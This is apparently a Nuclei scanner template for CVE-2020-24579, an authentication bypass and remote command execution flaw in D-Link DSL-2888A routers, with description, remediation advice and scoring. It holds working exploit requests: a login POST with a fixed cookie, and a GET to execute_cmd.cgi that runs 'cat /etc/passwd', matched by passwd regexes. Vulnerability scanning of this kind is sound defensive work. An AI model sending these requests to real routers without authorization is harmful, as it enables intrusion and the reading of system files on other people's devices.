54 lines
2.1 KiB
YAML
54 lines
2.1 KiB
YAML
id: CVE-2020-24579
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info:
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name: D-Link DSL 2888a - Authentication Bypass/Remote Command Execution
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author: pikpikcu
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severity: high
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description: D-Link DSL-2888A devices with firmware prior to AU_2.31_V1.1.47ae55 are vulnerable to authentication bypass issues which can lead to remote command execution. An unauthenticated attacker could bypass authentication to access authenticated pages and functionality.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to bypass authentication and execute arbitrary commands on the affected router.
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remediation: |
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Apply the latest firmware update provided by D-Link to fix the vulnerability.
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reference:
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- https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/d-link-multiple-security-vulnerabilities-leading-to-rce/
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- https://www.trustwave.com/en-us/resources/security-resources/security-advisories/
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- https://nvd.nist.gov/vuln/detail/CVE-2020-24579
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classification:
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cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8.8
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cve-id: CVE-2020-24579
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cwe-id: CWE-287
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epss-score: 0.04563
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epss-percentile: 0.91666
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cpe: cpe:2.3:o:dlink:dsl2888a_firmware:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: dlink
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product: dsl2888a_firmware
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tags: cve,cve2020,dlink,rce
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http:
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- raw:
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- | # Response:Location: /page/login/login_fail.html
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POST / HTTP/1.1
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Host: {{Hostname}}
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Cookie: uid=6gPjT2ipmNz
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username=admin&password=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
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- | # Get /etc/passwd
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GET /cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd=cat%20/etc/passwd HTTP/1.1
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Host: {{Hostname}}
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Cookie: uid=6gPjT2ipmNz
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matchers-condition: and
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matchers:
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- type: regex
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regex:
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- "nobody:[x*]:65534:65534"
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- "root:.*:0:0:"
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condition: or
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100811baa94a56363d0544968d98ed379de4a680bf3ef65649b4502cc54ce0e5ed90221009c941dca0a954f76f9f0226bbb36b3f6b1520716c38c2fa0a33f41c82030c02b:922c64590222798bb761d5b6d8e72950 |